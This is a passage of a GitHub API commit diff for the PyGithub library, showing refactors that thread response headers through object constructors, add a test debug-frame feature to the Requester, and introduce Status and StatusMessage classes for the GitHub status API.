return github.GitCommit.GitCommit(self._requester, data, completed=True)\n+ return github.GitCommit.GitCommit(self._requester, headers, data, completed=True)\n \n def get_git_ref(self, ref):\n \"\"\"\n@@ -1034,11 +999,9 @@ def get_git_ref(self, ref):\n assert isinstance(ref, str), ref\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- self.url + prefix + ref,\n- None,\n- None\n+ self.url + prefix + ref\n )\n- return github.GitRef.GitRef(self._requester, data, completed=True)\n+ return github.GitRef.GitRef(self._requester, headers, data, completed=True)\n \n def get_git_refs(self):\n \"\"\"\n@@ -1061,11 +1024,9 @@ def get_git_tag(self, sha):\n assert isinstance(sha, str), sha\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- self.url + \"/git/tags/\" + sha,\n- None,\n- None\n+ self.url + \"/git/tags/\" + sha\n )\n- return github.GitTag.GitTag(self._requester, data, completed=True)\n+ return github.GitTag.GitTag(self._requester, headers, data, completed=True)\n \n def get_git_tree(self, sha, recursive=github.GithubObject.NotSet):\n \"\"\"\n@@ -1082,10 +1043,9 @@ def get_git_tree(self, sha, recursive=github.GithubObject.NotSet):\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n self.url + \"/git/trees/\" + sha,\n- url_parameters,\n- None\n+ parameters=url_parameters\n )\n- return github.GitTree.GitTree(self._requester, data, completed=True)\n+ return github.GitTree.GitTree(self._requester, headers, data, completed=True)\n \n def get_hook(self, id):\n \"\"\"\n@@ -1096,11 +1056,9 @@ def get_hook(self, id):\n assert isinstance(id, (int, long)), id\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- self.url + \"/hooks/\" + str(id),\n- None,\n- None\n+ self.url + \"/hooks/\" + str(id)\n )\n- return github.Hook.Hook(self._requester, data, completed=True)\n+ return github.Hook.Hook(self._requester, headers, data, completed=True)\n \n def get_hooks(self):\n \"\"\"\n@@ -1123,11 +1081,9 @@ def get_issue(self, number):\n assert isinstance(number, (int, long)), number\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- self.url + \"/issues/\" + str(number),\n- None,\n- None\n+ self.url + \"/issues/\" + str(number)\n )\n- return github.Issue.Issue(self._requester, data, completed=True)\n+ return github.Issue.Issue(self._requester, headers, data, completed=True)\n \n def get_issues(self, milestone=github.GithubObject.NotSet, state=github.GithubObject.NotSet, assignee=github.GithubObject.NotSet, mentioned=github.GithubObject.NotSet, labels=github.GithubObject.NotSet, sort=github.GithubObject.NotSet, direction=github.GithubObject.NotSet, since=github.GithubObject.NotSet):\n \"\"\"\n@@ -1214,11 +1170,9 @@ def get_issues_event(self, id):\n assert isinstance(id, (int, long)), id\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- self.url + \"/issues/events/\" + str(id),\n- None,\n- None\n+ self.url + \"/issues/events/\" + str(id)\n )\n- return github.IssueEvent.IssueEvent(self._requester, data, completed=True)\n+ return github.IssueEvent.IssueEvent(self._requester, headers, data, completed=True)\n \n def get_issues_events(self):\n \"\"\"\n@@ -1241,11 +1195,9 @@ def get_key(self, id):\n assert isinstance(id, (int, long)), id\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- self.url + \"/keys/\" + str(id),\n- None,\n- None\n+ self.url + \"/keys/\" + str(id)\n )\n- return github.RepositoryKey.RepositoryKey(self._requester, data, completed=True, repoUrl=self._url)\n+ return github.RepositoryKey.RepositoryKey(self._requester, headers, data, completed=True, repoUrl=self._url)\n \n def get_keys(self):\n \"\"\"\n@@ -1253,7 +1205,7 @@ def get_keys(self):\n :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.RepositoryKey.RepositoryKey`\n \"\"\"\n return github.PaginatedList.PaginatedList(\n- lambda requester, data, completed: github.RepositoryKey.RepositoryKey(requester, data, completed, repoUrl=self._url),\n+ lambda requester, headers, data, completed: github.RepositoryKey.RepositoryKey(requester, headers, data, completed, repoUrl=self._url),\n self._requester,\n self.url + \"/keys\",\n None\n@@ -1268,11 +1220,9 @@ def get_label(self, name):\n assert isinstance(name, str), name\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- self.url + \"/labels/\" + urllib.quote(name),\n- None,\n- None\n+ self.url + \"/labels/\" + urllib.quote(name)\n )\n- return github.Label.Label(self._requester, data, completed=True)\n+ return github.Label.Label(self._requester, headers, data, completed=True)\n \n def get_labels(self):\n \"\"\"\n@@ -1293,9 +1243,7 @@ def get_languages(self):\n \"\"\"\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- self.url + \"/languages\",\n- None,\n- None\n+ self.url + \"/languages\"\n )\n return data\n \n@@ -1308,11 +1256,9 @@ def get_milestone(self, number):\n assert isinstance(number, (int, long)), number\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- self.url + \"/milestones/\" + str(number),\n- None,\n- None\n+ self.url + \"/milestones/\" + str(number)\n )\n- return github.Milestone.Milestone(self._requester, data, completed=True)\n+ return github.Milestone.Milestone(self._requester, headers, data, completed=True)\n \n def get_milestones(self, state=github.GithubObject.NotSet, sort=github.GithubObject.NotSet, direction=github.GithubObject.NotSet):\n \"\"\"\n@@ -1360,11 +1306,9 @@ def get_pull(self, number):\n assert isinstance(number, (int, long)), number\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- self.url + \"/pulls/\" + str(number),\n- None,\n- None\n+ self.url + \"/pulls/\" + str(number)\n )\n- return github.PullRequest.PullRequest(self._requester, data, completed=True)\n+ return github.PullRequest.PullRequest(self._requester, headers, data, completed=True)\n \n def get_pulls(self, state=github.GithubObject.NotSet):\n \"\"\"\n@@ -1431,10 +1375,9 @@ def get_readme(self, ref=github.GithubObject.NotSet):\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n self.url + \"/readme\",\n- url_parameters,\n- None\n+ parameters=url_parameters\n )\n- return github.ContentFile.ContentFile(self._requester, data, completed=True)\n+ return github.ContentFile.ContentFile(self._requester, headers, data, completed=True)\n \n def get_stargazers(self):\n \"\"\"\n@@ -1505,9 +1448,7 @@ def has_in_assignees(self, assignee):\n assert isinstance(assignee, github.NamedUser.NamedUser), assignee\n status, headers, data = self._requester.requestJson(\n \"GET\",\n- self.url + \"/assignees/\" + assignee._identity,\n- None,\n- None\n+ self.url + \"/assignees/\" + assignee._identity\n )\n return status == 204\n \n@@ -1520,9 +1461,7 @@ def has_in_collaborators(self, collaborator):\n assert isinstance(collaborator, github.NamedUser.NamedUser), collaborator\n status, headers, data = self._requester.requestJson(\n \"GET\",\n- self.url + \"/collaborators/\" + collaborator._identity,\n- None,\n- None\n+ self.url + \"/collaborators/\" + collaborator._identity\n )\n return status == 204\n \n@@ -1537,12 +1476,10 @@ def legacy_search_issues(self, state, keyword):\n assert isinstance(keyword, str), keyword\n headers, data = self._requester.requestJsonAndCheck(\n \"GET\",\n- \"/legacy/issues/search/\" + self.owner.login + \"/\" + self.name + \"/\" + state + \"/\" + urllib.quote(keyword),\n- None,\n- None\n+ \"/legacy/issues/search/\" + self.owner.login + \"/\" + self.name + \"/\" + state + \"/\" + urllib.quote(keyword)\n )\n return [\n- github.Issue.Issue(self._requester, github.Legacy.convertIssue(element), completed=False)\n+ github.Issue.Issue(self._requester, headers, github.Legacy.convertIssue(element), completed=False)\n for element in data[\"issues\"]\n ]\n \n@@ -1566,13 +1503,12 @@ def merge(self, base, head, commit_message=github.GithubObject.NotSet):\n headers, data = self._requester.requestJsonAndCheck(\n \"POST\",\n self.url + \"/merges\",\n- None,\n- post_parameters\n+ input=post_parameters\n )\n if data is None:\n return None\n else:\n- return github.Commit.Commit(self._requester, data, completed=True)\n+ return github.Commit.Commit(self._requester, headers, data, completed=True)\n \n def remove_from_collaborators(self, collaborator):\n \"\"\"\n@@ -1583,9 +1519,7 @@ def remove_from_collaborators(self, collaborator):\n assert isinstance(collaborator, github.NamedUser.NamedUser), collaborator\n headers, data = self._requester.requestJsonAndCheck(\n \"DELETE\",\n- self.url + \"/collaborators/\" + collaborator._identity,\n- None,\n- None\n+ self.url + \"/collaborators/\" + collaborator._identity\n )\n \n def subscribe_to_hub(self, event, callback, secret=github.GithubObject.NotSet):\n@@ -1625,8 +1559,7 @@ def _hub(self, mode, event, callback, secret):\n responseHeaders, output = self._requester.requestMultipartAndCheck(\n \"POST\",\n \"/hub\",\n- None,\n- post_parameters,\n+ input=post_parameters\n )\n \n @property\n@@ -1719,16 +1652,16 @@ def _useAttributes(self, attributes):\n self._open_issues = attributes[\"open_issues\"]\n if \"organization\" in attributes: # pragma no branch\n assert attributes[\"organization\"] is None or isinstance(attributes[\"organization\"], dict), attributes[\"organization\"]\n- self._organization = None if attributes[\"organization\"] is None else github.Organization.Organization(self._requester, attributes[\"organization\"], completed=False)\n+ self._organization = None if attributes[\"organization\"] is None else github.Organization.Organization(self._requester, self._headers, attributes[\"organization\"], completed=False)\n if \"owner\" in attributes: # pragma no branch\n assert attributes[\"owner\"] is None or isinstance(attributes[\"owner\"], dict), attributes[\"owner\"]\n- self._owner = None if attributes[\"owner\"] is None else github.NamedUser.NamedUser(self._requester, attributes[\"owner\"], completed=False)\n+ self._owner = None if attributes[\"owner\"] is None else github.NamedUser.NamedUser(self._requester, self._headers, attributes[\"owner\"], completed=False)\n if \"parent\" in attributes: # pragma no branch\n assert attributes[\"parent\"] is None or isinstance(attributes[\"parent\"], dict), attributes[\"parent\"]\n- self._parent = None if attributes[\"parent\"] is None else Repository(self._requester, attributes[\"parent\"], completed=False)\n+ self._parent = None if attributes[\"parent\"] is None else Repository(self._requester, self._headers, attributes[\"parent\"], completed=False)\n if \"permissions\" in attributes: # pragma no branch\n assert attributes[\"permissions\"] is None or isinstance(attributes[\"permissions\"], dict), attributes[\"permissions\"]\n- self._permissions = None if attributes[\"permissions\"] is None else github.Permissions.Permissions(self._requester, attributes[\"permissions\"], completed=False)\n+ self._permissions = None if attributes[\"permissions\"] is None else github.Permissions.Permissions(self._requester, self._headers, attributes[\"permissions\"], completed=False)\n if \"private\" in attributes: # pragma no branch\n assert attributes[\"private\"] is None or isinstance(attributes[\"private\"], bool), attributes[\"private\"]\n self._private = attributes[\"private\"]\n@@ -1740,7 +1673,7 @@ def _useAttributes(self, attributes):\n self._size = attributes[\"size\"]\n if \"source\" in attributes: # pragma no branch\n assert attributes[\"source\"] is None or isinstance(attributes[\"source\"], dict), attributes[\"source\"]\n- self._source = None if attributes[\"source\"] is None else Repository(self._requester, attributes[\"source\"], completed=False)\n+ self._source = None if attributes[\"source\"] is None else Repository(self._requester, self._headers, attributes[\"source\"], completed=False)\n if \"ssh_url\" in attributes: # pragma no branch\n assert attributes[\"ssh_url\"] is None or isinstance(attributes[\"ssh_url\"], str), attributes[\"ssh_url\"]\n self._ssh_url = attributes[\"ssh_url\"]"},{"sha":"69e1c6162f2f414f9679101b3fb29de677f7e72f","filename":"github/RepositoryKey.py","status":"modified","additions":5,"deletions":7,"changes":12,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/RepositoryKey.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/RepositoryKey.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/RepositoryKey.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Srijan Choudhary #\n # Copyright 2013 Vincent Jacques #\n # Copyright 2013 martinqt #\n@@ -33,8 +34,8 @@ class RepositoryKey(github.GithubObject.CompletableGithubObject):\n This class represents RepositoryKeys. The reference can be found here http://developer.github.com/v3/repos/keys/\n \"\"\"\n \n- def __init__(self, requester, attributes, completed, repoUrl):\n- github.GithubObject.CompletableGithubObject.__init__(self, requester, attributes, completed)\n+ def __init__(self, requester, headers, attributes, completed, repoUrl):\n+ github.GithubObject.CompletableGithubObject.__init__(self, requester, headers, attributes, completed)\n self.__repoUrl = repoUrl\n \n @property\n@@ -88,9 +89,7 @@ def delete(self):\n \"\"\"\n headers, data = self._requester.requestJsonAndCheck(\n \"DELETE\",\n- self.__customUrl,\n- None,\n- None\n+ self.__customUrl\n )\n \n def edit(self, title=github.GithubObject.NotSet, key=github.GithubObject.NotSet):\n@@ -110,8 +109,7 @@ def edit(self, title=github.GithubObject.NotSet, key=github.GithubObject.NotSet)\n headers, data = self._requester.requestJsonAndCheck(\n \"PATCH\",\n self.__customUrl,\n- None,\n- post_parameters\n+ input=post_parameters\n )\n self._useAttributes(data)\n "},{"sha":"836b776e42a3080cffc8d5f1e6959fa6414a518c","filename":"github/Requester.py","status":"modified","additions":88,"deletions":18,"changes":106,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/Requester.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/Requester.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/Requester.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -9,6 +9,7 @@\n # Copyright 2012 Steve English #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Ed Jackson #\n # Copyright 2013 Jonathan J Hunt #\n # Copyright 2013 Mark Roddy #\n@@ -37,6 +38,7 @@\n import urllib\n import urlparse\n import sys\n+import Consts\n \n atLeastPython26 = sys.hexversion >= 0x02060000\n atLeastPython3 = sys.hexversion >= 0x03000000\n@@ -63,7 +65,66 @@ def resetConnectionClasses(cls):\n cls.__httpConnectionClass = httplib.HTTPConnection\n cls.__httpsConnectionClass = httplib.HTTPSConnection\n \n+ #############################################################\n+ # For Debug\n+ @classmethod\n+ def setDebugFlag(cls, flag):\n+ cls.DEBUG_FLAG = flag\n+\n+ @classmethod\n+ def setOnCheckMe(cls, onCheckMe):\n+ cls.ON_CHECK_ME = onCheckMe\n+\n+ DEBUG_FLAG = False\n+\n+ DEBUG_FRAME_BUFFER_SIZE = 1024\n+\n+ DEBUG_HEADER_KEY = \"DEBUG_FRAME\"\n+\n+ ON_CHECK_ME = None\n+\n+ def NEW_DEBUG_FRAME(self, requestHeader):\n+ '''\n+ Initialize a debug frame with requestHeader\n+ Frame count is updated and will be attached to respond header\n+ The structure of a frame: [requestHeader, statusCode, responseHeader, raw_data]\n+ Some of them may be None\n+ '''\n+ if self.DEBUG_FLAG: # pragma no branch (Flag always set in tests)\n+ new_frame = [requestHeader, None, None, None]\n+ if self._frameCount < self.DEBUG_FRAME_BUFFER_SIZE - 1: # pragma no branch (Should be covered)\n+ self._frameBuffer.append(new_frame)\n+ else:\n+ self._frameBuffer[0] = new_frame # pragma no cover (Should be covered)\n+\n+ self._frameCount = len(self._frameBuffer) - 1\n+\n+ def DEBUG_ON_RESPONSE(self, statusCode, responseHeader, data):\n+ '''\n+ Update current frame with response\n+ Current frame index will be attached to responseHeader\n+ '''\n+ if self.DEBUG_FLAG: # pragma no branch (Flag always set in tests)\n+ self._frameBuffer[self._frameCount][1:4] = [statusCode, responseHeader, data]\n+ responseHeader[self.DEBUG_HEADER_KEY] = self._frameCount\n+\n+ def check_me(self, obj):\n+ if self.DEBUG_FLAG and self.ON_CHECK_ME is not None: # pragma no branch (Flag always set in tests)\n+ frame = None\n+ if self.DEBUG_HEADER_KEY in obj._headers:\n+ frame_index = obj._headers[self.DEBUG_HEADER_KEY]\n+ frame = self._frameBuffer[frame_index]\n+ self.ON_CHECK_ME(obj, frame)\n+\n+ def _initializeDebugFeature(self):\n+ self._frameCount = 0\n+ self._frameBuffer = []\n+\n+ #############################################################\n+\n def __init__(self, login_or_token, password, base_url, timeout, client_id, client_secret, user_agent, per_page):\n+ self._initializeDebugFeature()\n+\n if password is not None:\n login = login_or_token\n if atLeastPython3:\n@@ -103,11 +164,11 @@ def __init__(self, login_or_token, password, base_url, timeout, client_id, clien\n 'See http://developer.github.com/v3/#user-agent-required'\n self.__userAgent = user_agent\n \n- def requestJsonAndCheck(self, verb, url, parameters, input):\n- return self.__check(*self.requestJson(verb, url, parameters, input))\n+ def requestJsonAndCheck(self, verb, url, parameters=None, headers=None, input=None, cnx=None):\n+ return self.__check(*self.requestJson(verb, url, parameters, headers, input, cnx))\n \n- def requestMultipartAndCheck(self, verb, url, parameters, input):\n- return self.__check(*self.requestMultipart(verb, url, parameters, input))\n+ def requestMultipartAndCheck(self, verb, url, parameters=None, headers=None, input=None):\n+ return self.__check(*self.requestMultipart(verb, url, parameters, headers, input))\n \n def __check(self, status, responseHeaders, output):\n output = self.__structuredFromJson(output)\n@@ -116,13 +177,13 @@ def __check(self, status, responseHeaders, output):\n return responseHeaders, output\n \n def __createException(self, status, output):\n- if status == 401 and output[\"message\"] == \"Bad credentials\":\n+ if status == 401 and output.get(\"message\") == \"Bad credentials\":\n cls = GithubException.BadCredentialsException\n- elif status == 403 and output[\"message\"].startswith(\"Missing or invalid User Agent string\"):\n+ elif status == 403 and output.get(\"message\").startswith(\"Missing or invalid User Agent string\"):\n cls = GithubException.BadUserAgentException\n- elif status == 403 and output[\"message\"].startswith(\"API Rate Limit Exceeded\"):\n+ elif status == 403 and output.get(\"message\").startswith(\"API Rate Limit Exceeded\"):\n cls = GithubException.RateLimitExceededException\n- elif status == 404 and output[\"message\"] == \"Not Found\":\n+ elif status == 404 and output.get(\"message\") == \"Not Found\":\n cls = GithubException.UnknownObjectException\n else:\n cls = GithubException.GithubException\n@@ -139,13 +200,13 @@ def __structuredFromJson(self, data):\n except ValueError, e:\n return {'data': data}\n \n- def requestJson(self, verb, url, parameters, input):\n+ def requestJson(self, verb, url, parameters=None, headers=None, input=None, cnx=None):\n def encode(input):\n return \"application/json\", json.dumps(input)\n \n- return self.__requestEncode(verb, url, parameters, input, encode)\n+ return self.__requestEncode(cnx, verb, url, parameters, headers, input, encode)\n \n- def requestMultipart(self, verb, url, parameters, input):\n+ def requestMultipart(self, verb, url, parameters=None, headers=None, input=None):\n def encode(input):\n boundary = \"----------------------------3c3ba8b523b2\"\n eol = \"\\r\\n\"\n@@ -159,14 +220,15 @@ def encode(input):\n encoded_input += \"--\" + boundary + \"--\" + eol\n return \"multipart/form-data; boundary=\" + boundary, encoded_input\n \n- return self.__requestEncode(verb, url, parameters, input, encode)\n+ return self.__requestEncode(None, verb, url, parameters, headers, input, encode)\n \n- def __requestEncode(self, verb, url, parameters, input, encode):\n+ def __requestEncode(self, cnx, verb, url, parameters, requestHeaders, input, encode):\n assert verb in [\"HEAD\", \"GET\", \"POST\", \"PATCH\", \"PUT\", \"DELETE\"]\n if parameters is None:\n parameters = dict()\n+ if requestHeaders is None:\n+ requestHeaders = dict()\n \n- requestHeaders = dict()\n self.__authenticate(url, requestHeaders, parameters)\n requestHeaders[\"User-Agent\"] = self.__userAgent\n \n@@ -177,7 +239,9 @@ def __requestEncode(self, verb, url, parameters, input, encode):\n if input is not None:\n requestHeaders[\"Content-Type\"], encoded_input = encode(input)\n \n- status, responseHeaders, output = self.__requestRaw(verb, url, requestHeaders, encoded_input)\n+ self.NEW_DEBUG_FRAME(requestHeaders)\n+\n+ status, responseHeaders, output = self.__requestRaw(cnx, verb, url, requestHeaders, encoded_input)\n \n if \"x-ratelimit-remaining\" in responseHeaders and \"x-ratelimit-limit\" in responseHeaders:\n self.rate_limiting = (int(responseHeaders[\"x-ratelimit-remaining\"]), int(responseHeaders[\"x-ratelimit-limit\"]))\n@@ -187,10 +251,16 @@ def __requestEncode(self, verb, url, parameters, input, encode):\n if \"x-oauth-scopes\" in responseHeaders:\n self.oauth_scopes = responseHeaders[\"x-oauth-scopes\"].split(\", \")\n \n+ self.DEBUG_ON_RESPONSE(status, responseHeaders, output)\n+\n return status, responseHeaders, output\n \n- def __requestRaw(self, verb, url, requestHeaders, input):\n- cnx = self.__createConnection()\n+ def __requestRaw(self, cnx, verb, url, requestHeaders, input):\n+ if cnx is None:\n+ cnx = self.__createConnection()\n+ else:\n+ assert cnx == \"status\"\n+ cnx = self.__httpsConnectionClass(\"status.github.com\", 443)\n cnx.request(\n verb,\n url,\n@@ -244,7 +314,7 @@ def __createConnection(self):\n kwds[\"strict\"] = True # Useless in Python3, would generate a deprecation warning\n if atLeastPython26: # pragma no branch (Branch useful only with Python 2.5)\n kwds[\"timeout\"] = self.__timeout # Did not exist before Python2.6\n- return self.__connectionClass(host=self.__hostname, port=self.__port, **kwds)\n+ return self.__connectionClass(self.__hostname, self.__port, **kwds)\n \n def __log(self, verb, url, requestHeaders, input, status, responseHeaders, output):\n logger = logging.getLogger(__name__)"},{"sha":"6c117241297b8cc312ef45fa6240453e35ca36ed","filename":"github/Status.py","status":"added","additions":56,"deletions":0,"changes":56,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/Status.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/Status.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/Status.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -0,0 +1,56 @@\n+# -*- coding: utf-8 -*-\n+\n+############################ Copyrights and license ############################\n+# #\n+# Copyright 2013 Vincent Jacques #\n+# #\n+# This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #\n+# #\n+# PyGithub is free software: you can redistribute it and/or modify it under #\n+# the terms of the GNU Lesser General Public License as published by the Free #\n+# Software Foundation, either version 3 of the License, or (at your option) #\n+# any later version. #\n+# #\n+# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY #\n+# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS #\n+# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more #\n+# details. #\n+# #\n+# You should have received a copy of the GNU Lesser General Public License #\n+# along with PyGithub. If not, see . #\n+# #\n+################################################################################\n+\n+import github.GithubObject\n+\n+\n+class Status(github.GithubObject.NonCompletableGithubObject):\n+ \"\"\"\n+ This class represents status as defined in https://status.github.com/api\n+ \"\"\"\n+\n+ @property\n+ def status(self):\n+ \"\"\"\n+ :type: string\n+ \"\"\"\n+ return self._NoneIfNotSet(self._status)\n+\n+ @property\n+ def last_updated(self):\n+ \"\"\"\n+ :type: datetime.datetime\n+ \"\"\"\n+ return self._NoneIfNotSet(self._last_updated)\n+\n+ def _initAttributes(self):\n+ self._status = github.GithubObject.NotSet\n+ self._last_updated = github.GithubObject.NotSet\n+\n+ def _useAttributes(self, attributes):\n+ if \"status\" in attributes: # pragma no branch\n+ assert attributes[\"status\"] is None or isinstance(attributes[\"status\"], str), attributes[\"status\"]\n+ self._status = attributes[\"status\"]\n+ if \"last_updated\" in attributes: # pragma no branch\n+ assert attributes[\"last_updated\"] is None or isinstance(attributes[\"last_updated\"], str), attributes[\"last_updated\"]\n+ self._last_updated = self._parseDatetime(attributes[\"last_updated\"])"},{"sha":"266e1b05cc4f1b1298b6f56eae34e58ad9be871e","filename":"github/StatusMessage.py","status":"added","additions":66,"deletions":0,"changes":66,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/StatusMessage.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/StatusMessage.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/StatusMessage.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -0,0 +1,66 @@\n+# -*- coding: utf-8 -*-\n+\n+############################ Copyrights and license ############################\n+# #\n+# Copyright 2013 Vincent Jacques #\n+# #\n+# This file is part of PyGithub. http://jacquev6.github.com/PyGithub/ #\n+# #\n+# PyGithub is free software: you can redistribute it and/or modify it under #\n+# the terms of the GNU Lesser General Public License as published by the Free #\n+# Software Foundation, either version 3 of the License, or (at your option) #\n+# any later version. #\n+# #\n+# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY #\n+# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS #\n+# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more #\n+# details. #\n+# #\n+# You should have received a copy of the GNU Lesser General Public License #\n+# along with PyGithub. If not, see . #\n+# #\n+################################################################################\n+\n+import github.GithubObject\n+\n+\n+class StatusMessage(github.GithubObject.NonCompletableGithubObject):\n+ \"\"\"\n+ This class represents status messages as defined in https://status.github.com/api\n+ \"\"\"\n+\n+ @property\n+ def body(self):\n+ \"\"\"\n+ :type: string\n+ \"\"\"\n+ return self._NoneIfNotSet(self._body)\n+\n+ @property\n+ def status(self):\n+ \"\"\"\n+ :type: string\n+ \"\"\"\n+ return self._NoneIfNotSet(self._status)\n+\n+ @property\n+ def created_on(self):\n+ \"\"\"\n+ :type: datetime.datetime\n+ \"\"\"\n+ return self._NoneIfNotSet(self._created_on)\n+\n+ def _initAttributes(self):\n+ self._status = github.GithubObject.NotSet\n+ self._created_on = github.GithubObject.NotSet\n+\n+ def _useAttributes(self, attributes):\n+ if \"body\" in attributes: # pragma no branch\n+ assert attributes[\"body\"] is None or isinstance(attributes[\"body\"], str), attributes[\"body\"]\n+ self._body = attributes[\"body\"]\n+ if \"status\" in attributes: # pragma no branch\n+ assert attributes[\"status\"] is None or isinstance(attributes[\"status\"], str), attributes[\"status\"]\n+ self._status = attributes[\"status\"]\n+ if \"created_on\" in attributes: # pragma no branch\n+ assert attributes[\"created_on\"] is None or isinstance(attributes[\"created_on\"], str), attributes[\"created_on\"]\n+ self._created_on = self._parseDatetime(attributes[\"created_on\"])"},{"sha":"890c1a02366be9fd71e36b90084c7dbd624eb2c0","filename":"github/Tag.py","status":"modified","additions":2,"deletions":1,"changes":3,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/Tag.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/Tag.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/Tag.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # Copyright 2013 martinqt #\n # #\n@@ -71,7 +72,7 @@ def _initAttributes(self):\n def _useAttributes(self, attributes):\n if \"commit\" in attributes: # pragma no branch\n assert attributes[\"commit\"] is None or isinstance(attributes[\"commit\"], dict), attributes[\"commit\"]\n- self._commit = None if attributes[\"commit\"] is None else github.Commit.Commit(self._requester, attributes[\"commit\"], completed=False)\n+ self._commit = None if attributes[\"commit\"] is None else github.Commit.Commit(self._requester, self._headers, attributes[\"commit\"], completed=False)\n if \"name\" in attributes: # pragma no branch\n assert attributes[\"name\"] is None or isinstance(attributes[\"name\"], str), attributes[\"name\"]\n self._name = attributes[\"name\"]"},{"sha":"9b687d8027104bcccf49f6b23d129b94cd963eec","filename":"github/Team.py","status":"modified","additions":9,"deletions":23,"changes":32,"blob_url":"https://github.com/jacquev6/PyGithub/blob/a6597499c2f82e063074a3036d875417d5efa296/github/Team.py","raw_url":"https://github.com/jacquev6/PyGithub/raw/a6597499c2f82e063074a3036d875417d5efa296/github/Team.py","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/github/Team.py?ref=a6597499c2f82e063074a3036d875417d5efa296","patch":"@@ -4,6 +4,7 @@\n # #\n # Copyright 2012 Vincent Jacques #\n # Copyright 2012 Zearin #\n+# Copyright 2013 AKFish #\n # Copyright 2013 Vincent Jacques #\n # Copyright 2013 martinqt #\n # #\n@@ -93,9 +94,7 @@ def add_to_members(self, member):\n assert isinstance(member, github.NamedUser.NamedUser), member\n headers, data = self._requester.requestJsonAndCheck(\n \"PUT\",\n- self.url + \"/members/\" + member._identity,\n- None,\n- None\n+ self.url + \"/members/\" + member._identity\n )\n \n def add_to_repos(self, repo):\n@@ -107,9 +106,7 @@ def add_to_repos(self, repo):\n assert isinstance(repo, github.Repository.Repository), repo\n headers, data = self._requester.requestJsonAndCheck(\n \"PUT\",\n- self.url + \"/repos/\" + repo._identity,\n- None,\n- None\n+ self.url + \"/repos/\" + repo._identity\n )\n \n def delete(self):\n@@ -119,9 +116,7 @@ def delete(self):\n \"\"\"\n headers, data = self._requester.requestJsonAndCheck(\n \"DELETE\",\n- self.url,\n- None,\n- None\n+ self.url\n )\n \n def edit(self, name, permission=github.GithubObject.NotSet):\n@@ -141,8 +136,7 @@ def edit(self, name, permission=github.GithubObject.NotSet):\n headers, data = self._requester.requestJsonAndCheck(\n \"PATCH\",\n self.url,\n- None,\n- post_parameters\n+ input=post_parameters\n )\n self._useAttributes(data)\n \n@@ -179,9 +173,7 @@ def has_in_members(self, member):\n assert isinstance(member, github.NamedUser.NamedUser), member\n status, headers, data = self._requester.requestJson(\n \"GET\",\n- self.url + \"/members/\" + member._identity,\n- None,\n- None\n+ self.url + \"/members/\" + member._identity\n )\n return status == 204\n \n@@ -194,9 +186,7 @@ def has_in_repos(self, repo):\n assert isinstance(repo, github.Repository.Repository), repo\n status, headers, data = self._requester.requestJson(\n \"GET\",\n- self.url + \"/repos/\" + repo._identity,\n- None,\n- None\n+ self.url + \"/repos/\" + repo._identity\n )\n return status == 204\n \n@@ -209,9 +199,7 @@ def remove_from_members(self, member):\n assert isinstance(member, github.NamedUser.NamedUser), member\n headers, data = self._requester.requestJsonAndCheck(\n \"DELETE\",\n- self.url + \"/members/\" + member._identity,\n- None,\n- None\n+ self.url + \"/members/\" + member._identity\n )\n \n def remove_from_repos(self, repo):\n@@ -223,9 +211,7 @@ def remove_from_repos(self, repo):\n assert isinstance(repo, 